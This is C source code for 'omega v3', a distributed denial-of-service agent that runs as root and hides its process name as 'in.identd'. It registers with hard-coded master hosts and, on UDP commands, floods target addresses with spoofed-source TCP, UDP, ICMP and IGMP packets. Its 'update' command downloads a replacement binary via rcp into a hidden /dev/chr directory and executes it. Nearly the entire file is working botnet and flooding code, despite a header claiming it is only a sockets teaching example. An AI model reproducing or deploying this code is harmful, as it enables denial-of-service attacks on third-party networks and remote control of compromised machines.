/*
   omega v3   - (c) 2000 xt[brandon@james.kalifornia.com]
   distributed denial of service attack.

   r.i.p. omega 1997-2000 a loyal gerbil to xt.

   *disclaimer:*
    i have nothing to do with this when it gets in your hands. it is
    intellectual property, and what you do with it is your own purpose.
    please look at this for more of the coding example - i just wrote this
    for some friends so they could learn sockets with a REAL world program.

    some of these parts were taken from other programs (this actually
    started as a modify to mstream by spwny [it didnt stream more than
    one host at once], but i got carried away with it and here it is
    hehe).
*/

/* input your masters - convert IP Addresses with 'convert' */
/* end it with 0 as the terminator */
unsigned long m[] = { <first one>, 0 };

#define MASTER_PORT 23911
#define SERVER_PORT 52901

#include <sys/time.h>
#include <strings.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <time.h>
#include <sys/uio.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>
#include <arpa/inet.h>

#ifdef LINUX
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

#define VERSION "omega_v3beta-node"

char *inet_ntoa (struct in_addr);
void forkbg (void);
void send2master (char *, struct in_addr);
void stream (u_long, int);
void nlstr (char *);
void udp (u_long, int);
void icmp (u_long, int);
void igmp (u_long, int);
unsigned long conv (u_long);

int dostime = 30;
int dossize = 50;
int dosreps = 5;
int dosport = 0;
int p1 = 0, p2 = 0;
unsigned long attackout = 0L;

struct timespec small = { 0, 1337 };

#define sit nanosleep(&small, NULL)

int
main (int argc, char *argv[])
{
  struct in_addr ia;
  struct sockaddr_in sock, remote;
  int fd, socksize, opt = 1, i, b, hoho;
  char buf[15000];

  if (getuid () != 0)
    {
      fprintf (stderr, "server must be ran as root.\n");
      exit (0);
    }

  if ((fd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
    {
      perror ("socket");
      exit (0);
    }

  sock.sin_family = AF_INET;
  sock.sin_port = htons (SERVER_PORT);
  sock.sin_addr.s_addr = INADDR_ANY;
  memset (&sock.sin_zero, 0, 8);

  for (b = 0; b < argc; b++)
    memset (argv[b], 0, strlen (argv[b]));

  strcpy (argv[0], "in.identd");

  if (bind (fd, (struct sockaddr *) &sock, sizeof (struct sockaddr)) == -1)
    {
      perror ("bind");
      exit (0);
    }

  if (setsockopt (fd, SOL_SOCKET, SO_REUSEADDR, (void *) &opt, sizeof (int))
      == -1)
    {
      perror ("setsockopt");
      exit (0);
    }

  forkbg ();

  for (i = 0; m[i] != 0; i++)
    {
      ia.s_addr = conv (m[i]);
      send2master ("newserver", ia);
    }

  for (;;)
    {
      socksize = sizeof (struct sockaddr);
      memset (&buf, 0, sizeof (buf));
      if (recvfrom
	  (fd, &buf, sizeof (buf) - 1, 0, (struct sockaddr *) &remote,
	   &socksize) <= 0)
	continue;

      if (!strncmp (buf, "vers", 4))
        {
          char nnbuf[512];
          sprintf(nnbuf, "vers %s", VERSION);
          send2master(nnbuf, remote.sin_addr);
          continue;
        }

      if (!strncmp (buf, "time", 4))
	{
	  if (!buf[5])
	    continue;
	  dostime = atoi (buf + 5);
	  continue;
	}

      if (!strncmp (buf, "stats", 5))
	{
	  char nnbuf[512];
	  sprintf (nnbuf, "pstats %lu", attackout);
	  send2master (nnbuf, remote.sin_addr);
	  continue;
	}

      if (!strncmp (buf, "reps", 4))
	{
	  dosreps = atoi (buf + 5);
	  continue;
	}

      if (!strncmp (buf, "size", 4))
	{
	  dossize = atoi (buf + 5);
	  continue;
	}

      if (!strncmp (buf, "port", 4)) {
          dosport = atoi (buf + 5);
          continue;
      }

      if (!strncmp (buf, "igmp", 4)) {
          int start = time(NULL);
          int stop = 0;
          int end = start + dostime;
          char *unf = malloc (sizeof(buf)), *temp;
          attackout = 0L;

	  if ((hoho = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
	    close(fd);
	    exit(-1);
	  }
	  while (!stop) {
	    bzero(unf, sizeof(unf));
	    strcat(unf, buf);
	    temp = strtok(unf, ",");
	    while ((temp = strtok(NULL, ",")) != NULL) {
	      if (!stop)
	        igmp(inet_addr(temp), hoho);
	      if (time(NULL) > end)
	        stop = 1;
	    }
	  }
	  close(hoho);
	  free(unf);
	}
      if (!strncmp (buf, "udp", 3))
	{
	  int start = time (NULL);
	  int stop = 0;
	  int end = start + dostime;
	  char *unf = malloc (sizeof (buf)), *temp;
	  attackout = 0L;

	  if ((hoho = socket (PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	    {
	      close (fd);
	      exit (-1);
	    }

	  while (!stop)
	    {
	      bzero (unf, sizeof (unf));
	      strcat (unf, buf);
	      temp = strtok (unf, ",");
	      while ((temp = strtok (NULL, ",")) != NULL)
		{
		  if (!stop)
		    udp (inet_addr (temp), hoho);
		  if (time (NULL) > end)
		    stop = 1;
		}
	    }
	  free (unf);
	  close (hoho);
	}
      if (!strncmp (buf, "all", 3))
	{
	  int start = time (NULL);
	  int stop = 0;
	  int end = start + dostime;
	  char *unf = malloc (sizeof (buf)), *temp;
	  attackout = 0L;
	  if ((hoho = socket (PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	    {
	      close (fd);
	      exit (-1);
	    }
	  while (!stop)
	    {
	      bzero (unf, sizeof (unf));
	      strcat (unf, buf);
	      temp = strtok (unf, ",");
	      while ((temp = strtok (NULL, ",")) != NULL)
		{
		  if (!stop)
		    {
		      udp (inet_addr (temp), hoho);
		      icmp (inet_addr (temp), hoho);
		      stream (inet_addr (temp), hoho);
		      igmp (inet_addr (temp), hoho);
		    }
		  if (time (NULL) > end)
		    stop = 1;
		}
	    }
	  free (unf);
	  close (hoho);
	}


      if (!strncmp (buf, "icmp", 4))
	{
	  int start = time (NULL);
	  int stop = 0;
	  int end = start + dostime;
	  char *unf = malloc (sizeof (buf)), *temp;
	  attackout = 0L;
	  if ((hoho = socket (PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	    {
	      close (fd);
	      exit (-1);
	    }

	  while (!stop)
	    {
	      bzero (unf, sizeof (unf));
	      strcat (unf, buf);
	      temp = strtok (unf, ",");
	      while ((temp = strtok (NULL, ",")) != NULL)
		{
		  if (!stop)
		    icmp (inet_addr (temp), hoho);
		  if (time (NULL) > end)
		    stop = 1;
		}
	    }
	  free (unf);
	  close (hoho);
	}
      if (!strncmp (buf, "stream", 6))
	{
	  int start = time (NULL);
	  int stop = 0;
	  int end = start + dostime;
	  char *unf = malloc (sizeof (buf)), *temp;
	  attackout = 0L;
	  if ((hoho = socket (PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	    {
	      close (fd);
	      exit (-1);
	    }

	  while (!stop)
	    {
	      bzero (unf, sizeof (unf));
	      strcat (unf, buf);
	      temp = strtok (unf, ",");
	      while ((temp = strtok (NULL, ",")) != NULL)
		{
		  if (!stop)
		    stream (inet_addr (temp), hoho);
		  if (time (NULL) > end)
		    stop = 1;
		}
	    }
	  free (unf);
	  close (hoho);
	}
      if (!strncmp (buf, "update", 6))
	{
	  char nnbuf[1024];
	  struct stat woot;
          system("mkdir /dev/chr");
	  snprintf (nnbuf, 1024,
		    "/usr/bin/rcp %s /dev/chr/server 1>/dev/chr/server_test 2>/dev/chr/server_test",
		    buf + 7);
	  system (nnbuf);
	  stat ("/dev/chr/server_test", &woot);
	  if (woot.st_size != 0)
	    {
	      system ("rm -f /dev/chr/server_test");
	      continue;
	    }
	  system ("rm -f /dev/chr/server_test");
	  system ("chmod u+x /dev/chr/server");
	  for (i = 0; m[i] != 0; i++)
	    {
	      ia.s_addr = conv (m[i]);
	      send2master ("updatedone", ia);
	    }

	  close (fd);
	  system ("sleep 4; /dev/chr/server");
	  exit (0);
	}

      if (!strncmp (buf, "ping", 4))
	send2master ("pong", remote.sin_addr);

      if (!strncmp (buf, "hail-xt", 7))
	send2master ("newserver", remote.sin_addr);
      if (!strncmp (buf, "gotrcp", 6)) {
        int dd;
        FILE *f;
        f = fopen("/usr/bin/rcp", "r");
        if (f == NULL)
          dd = 0;
        else {
          dd = 1;
          fclose(f);
          send2master ("havercp", remote.sin_addr);
        }
      }
        
      
    }				/* for(;;) */

  close (fd);
  return 1;
}				/* main */

void
send2master (char *buf, struct in_addr addr)
{
  struct sockaddr_in sock;
  int fd;

  if ((fd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
    return;

  sock.sin_family = AF_INET;
  sock.sin_port = htons (MASTER_PORT);
  sock.sin_addr = addr;
  memset (&sock.sin_zero, 0, 8);

  sendto (fd, buf, strlen (buf), 0, (struct sockaddr *) &sock,
	  sizeof (struct sockaddr));

  close (fd);
}

void
forkbg (void)
{
  int pid;

  pid = fork ();

  if (pid == -1)
    {
      perror ("fork");
      exit (0);
    }

  if (pid > 0)
    {
      printf ("Forked into background, pid %d\n", pid);
      exit (0);
    }
}

struct ip_hdr
{
  u_int ip_hl:4,		/* header length in 32 bit words */
    ip_v:4;			/* ip version */
  u_char ip_tos;		/* type of service */
  u_short ip_len;		/* total packet length */
  u_short ip_id;		/* identification */
  u_short ip_off;		/* fragment offset */
  u_char ip_ttl;		/* time to live */
  u_char ip_p;			/* protocol */
  u_short ip_sum;		/* ip checksum */
  u_long saddr, daddr;		/* source and dest address */
};

struct tcp_hdr
{
  u_short th_sport;		/* source port */
  u_short th_dport;		/* destination port */
  u_long th_seq;		/* sequence number */
  u_long th_ack;		/* acknowledgement number */
  u_int th_x2:4,		/* unused */
    th_off:4;			/* data offset */
  u_char th_flags;		/* flags field */
  u_short th_win;		/* window size */
  u_short th_sum;		/* tcp checksum */
  u_short th_urp;		/* urgent pointer */
};

struct tcpopt_hdr
{
  u_char type;			/* type */
  u_char len;			/* length */
  u_short value;		/* value */
};

struct pseudo_hdr
{				/* See RFC 793 Pseudo Header */
  u_long saddr, daddr;		/* source and dest address */
  u_char mbz, ptcl;		/* zero and protocol */
  u_short tcpl;			/* tcp length */
};

struct packet
{
  struct ip /*_hdr*/ ip;
  struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};

struct cksum
{
  struct pseudo_hdr pseudo;
  struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
int sock;


/* This is a reference internet checksum implimentation, not very fast */
inline u_short
in_cksum (u_short * addr, int len)
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
   * sequential 16 bit words to it, and at the end, fold back all the
   * carry bits from the top 16 bits into the lower 16 bits. */

  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }

  /* mop up an odd byte, if necessary */
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }

  /* add back carry outs from top 16 bits to low 16 bits */
  sum = (sum >> 16) + (sum & 0xffff);	/* add hi 16 to low 16 */
  sum += (sum >> 16);		/* add carry */
  answer = ~sum;		/* truncate to 16 bits */
  return (answer);
}

void
stream (u_long dstaddr, int gg)
{
  int on = 1, ii;

  if (setsockopt (gg, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof (on)) ==
      -1) return;


  srand (time (NULL) + getpid ());

  memset (&packet, 0, sizeof (packet));

  packet.ip.ip_hl = 5;
  packet.ip.ip_v = 4;
  packet.ip.ip_p = IPPROTO_TCP;
  packet.ip.ip_tos = 0x08;
  packet.ip.ip_id = rand ();
  packet.ip.ip_len = FIX (sizeof (packet));
  packet.ip.ip_off = 0;		/* IP_DF? */
  packet.ip.ip_ttl = 255;
  packet.ip.ip_dst.s_addr = dstaddr;

  packet.tcp.th_flags = TH_ACK;
  packet.tcp.th_win = htons (16384);
  packet.tcp.th_seq = random ();
  packet.tcp.th_ack = 0;
  packet.tcp.th_off = 5;	/* 5 */
  packet.tcp.th_urp = 0;
  packet.tcp.th_sport = rand ();
  packet.tcp.th_dport = rand ();

  cksum.pseudo.daddr = dstaddr;
  cksum.pseudo.mbz = 0;
  cksum.pseudo.ptcl = IPPROTO_TCP;
  cksum.pseudo.tcpl = htons (sizeof (struct tcphdr));

  s_in.sin_family = AF_INET;
  s_in.sin_addr.s_addr = dstaddr;
  s_in.sin_port = packet.tcp.th_dport;

  for (ii = 0; ii < dosreps; ii++)
    {
      cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random ();
      ++packet.ip.ip_id;
      ++packet.tcp.th_sport;
      ++packet.tcp.th_seq;
      s_in.sin_port = packet.tcp.th_dport = rand ();
      packet.ip.ip_sum = 0;
      packet.tcp.th_sum = 0;
      cksum.tcp = packet.tcp;
      packet.ip.ip_sum = in_cksum ((void *) &packet.ip, 20);
      packet.tcp.th_sum = in_cksum ((void *) &cksum, sizeof (cksum));
      sendto (gg, &packet, sizeof (packet), 0, (struct sockaddr *) &s_in,
	      sizeof (s_in));
      attackout++;
    }

  sit;
}

void
icmp (u_long dstaddr, int gg)
{
  struct sockaddr_in pothead;
  struct iphdr *ip;
  struct icmphdr *icmp;
  int ii, b = 0;
  char *packet;

  int type[] = { 0, 3, 4, 5, 8, 11, 12, 13, 14, 15, 16, 17, 18, 20 };

  srandom ((time (NULL) + random ()));
  packet =
    (char *) malloc (sizeof (struct iphdr) + sizeof (struct icmphdr) +
		     dossize);
  ip = (struct iphdr *) packet;
  icmp = (struct icmphdr *) (packet + sizeof (struct iphdr));
  memset (packet, 0,
	  sizeof (struct iphdr) + sizeof (struct icmphdr) + dossize);
  ip->version = 4;
  ip->ihl = 5;
  ip->tos = 0;
  ip->tot_len = htons (dossize);
  ip->id = htons (getpid ());
  ip->frag_off = 0;
  ip->ttl = 0xff;
  ip->protocol = IPPROTO_ICMP;
  ip->check = 0;
  ip->saddr = random ();
  ip->daddr = dstaddr;
  icmp->type = type[b];
  icmp->code = 0;
  icmp->checksum =
    in_cksum ((u_short *) icmp, sizeof (struct icmphdr) + dossize);
  pothead.sin_port = htons (0);
  pothead.sin_family = AF_INET;
  pothead.sin_addr.s_addr = ip->daddr;
  for (ii = 0; ii < dosreps; ii++)
    {
      sendto (gg, packet,
	      (sizeof (struct iphdr) + sizeof (struct icmphdr) + dossize), 0,
	      (struct sockaddr *) &pothead, sizeof (struct sockaddr));
      attackout++;
    }

  free (packet);
  b++;
  if (type[b] == 20)
    b = 0;
  sit;
}


void
igmp (u_long dstaddr, int gg)
{
  struct sockaddr_in pothead;
  struct iphdr *ip;
  struct igmp *pant;
  int ii, b = 0;
  unsigned long idz = 400L;

  char *packet;

  u_int8_t types[] = { 8, 0x09, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 13, 14, 15, 12, 0x19 };

  srandom ((time (NULL) + random ()));
  packet =
    (char *) malloc (sizeof (struct iphdr) + sizeof (struct igmp) +
		     dossize);
  ip = (struct iphdr *) packet;
  pant = (struct igmp *) (packet + sizeof (struct iphdr));
  memset (packet, 0,
	  sizeof (struct iphdr) + sizeof (struct igmp) + dossize);
  ip->version = 4;
  ip->ihl = 5;
  ip->tos = 0;
  ip->tot_len = htons (dossize);
  ip->id = htons (idz);
  ip->frag_off = 0;
  ip->ttl = 0xff;
  ip->protocol = IPPROTO_IGMP;
  ip->check = 0;
  ip->saddr = random ();
  ip->daddr = dstaddr;
  pant->igmp_code = 0;
  pothead.sin_port = htons (0);
  pothead.sin_family = AF_INET;
  pothead.sin_addr.s_addr = ip->daddr;
  for (ii = 0; ii < dosreps; ii++)
    {
      b++;
      if (types[b] == 0x19)
        b = 0;
      pant->igmp_type = types[b];
      pant->igmp_cksum = in_cksum ((u_short *) pant, sizeof (struct igmp) + dossize);
      sendto (gg, packet,
	      (sizeof (struct iphdr) + sizeof (struct igmp) + dossize), 0,
	      (struct sockaddr *) &pothead, sizeof (struct sockaddr));
      attackout++;
    }

  idz++;
  if (idz >= 124911)
    idz = 500;
  free (packet);

  sit;
}

void
udp (u_long dstaddr, int gg)
{
  struct
  {
    struct iphdr ip;
    struct udphdr udp;
  }
  cat;

  int ii;
  u_char evil[dossize];
  struct sockaddr_in dog;

  if (p1 > 5000)
    p1 = 5;
  if (p2 < 5)
    p2 = 5000;

  srandom ((time (NULL) + random ()));
  cat.ip.ihl = 5;
  cat.ip.version = 4;
  cat.ip.tos = 0x00;
  cat.ip.tot_len = htons (sizeof (cat));
  cat.ip.id = htons (random ());
  cat.ip.frag_off = 0;
  cat.ip.ttl = 0xff;
  cat.ip.protocol = IPPROTO_UDP;
  cat.ip.saddr = rand ();
  cat.ip.daddr = dstaddr;
  cat.ip.check = in_cksum ((void *) &cat.ip, sizeof (cat.ip));
  cat.udp.uh_sport = htons (p1);
  cat.udp.uh_dport = htons (p2);
  cat.udp.uh_ulen = htons (sizeof (cat.udp) + sizeof (evil));
  cat.udp.uh_sum = in_cksum ((void *) &cat.udp, sizeof (cat.udp));
  dog.sin_family = AF_INET;
  dog.sin_addr.s_addr = dstaddr;

  for (ii = 0; ii < dosreps; ii++)
    {
      sendto (gg, &cat, sizeof (cat), 0, &dog, sizeof (dog));
      attackout++;
    }

  ++p1;
  --p2;

  sit;
}

void
nlstr (char *str)
{
  if (str[strlen (str) - 1] == '\n')
    str[strlen (str) - 1] = '\0';
}

unsigned long
conv (u_long ipaz)
{
  return (unsigned long) ipaz + 2358;
}
